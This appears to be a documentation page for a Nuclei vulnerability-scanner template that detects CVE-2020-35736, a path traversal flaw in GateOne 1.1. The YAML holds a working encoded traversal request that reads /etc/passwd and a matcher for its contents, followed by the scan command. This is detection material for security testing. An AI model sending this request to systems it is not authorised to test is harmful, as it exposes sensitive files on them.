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Nuclei Templates

GateOne 1.1 - Local File Inclusion

ID: CVE-2020-35736

Severity: high

Author: pikpikcu

Tags: cve,cve2020,gateone,lfi,liftoffsoftware

Description

Section titled “Description”

GateOne 1.1 allows arbitrary file retrieval without authentication via /downloads/.. local file inclusion because os.path.join is incorrectly used.

YAML Source

Section titled “YAML Source”
id: CVE-2020-35736


info:
  name: GateOne 1.1 - Local File Inclusion
  author: pikpikcu
  severity: high
  description: GateOne 1.1 allows arbitrary file retrieval without authentication via /downloads/.. local file inclusion because os.path.join is incorrectly used.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the affected system.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to mitigate the LFI vulnerability in GateOne 1.1.
  reference:
    - https://github.com/liftoff/GateOne/issues/747
    - https://nvd.nist.gov/vuln/detail/CVE-2020-35736
    - https://rmb122.com/2019/08/28/Ogeek-Easy-Realworld-Challenge-1-2-Writeup/
    - https://github.com/20142995/Goby
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-35736
    cwe-id: CWE-22
    epss-score: 0.01204
    epss-percentile: 0.85176
    cpe: cpe:2.3:a:liftoffsoftware:gateone:1.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: liftoffsoftware
    product: gateone
  tags: cve,cve2020,gateone,lfi,liftoffsoftware


http:
  - method: GET
    path:
      - '{{BaseURL}}/downloads/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd'


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
# digest: 4a0a004730450221008c54f1549a51db1a1fd41722d26dec2b3215d25ccb4089f180b2aea85b946df40220364928797d69c704af3fe5356d4f1649c7891b1698e04c38a994437b608e8a94:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-35736.yaml"

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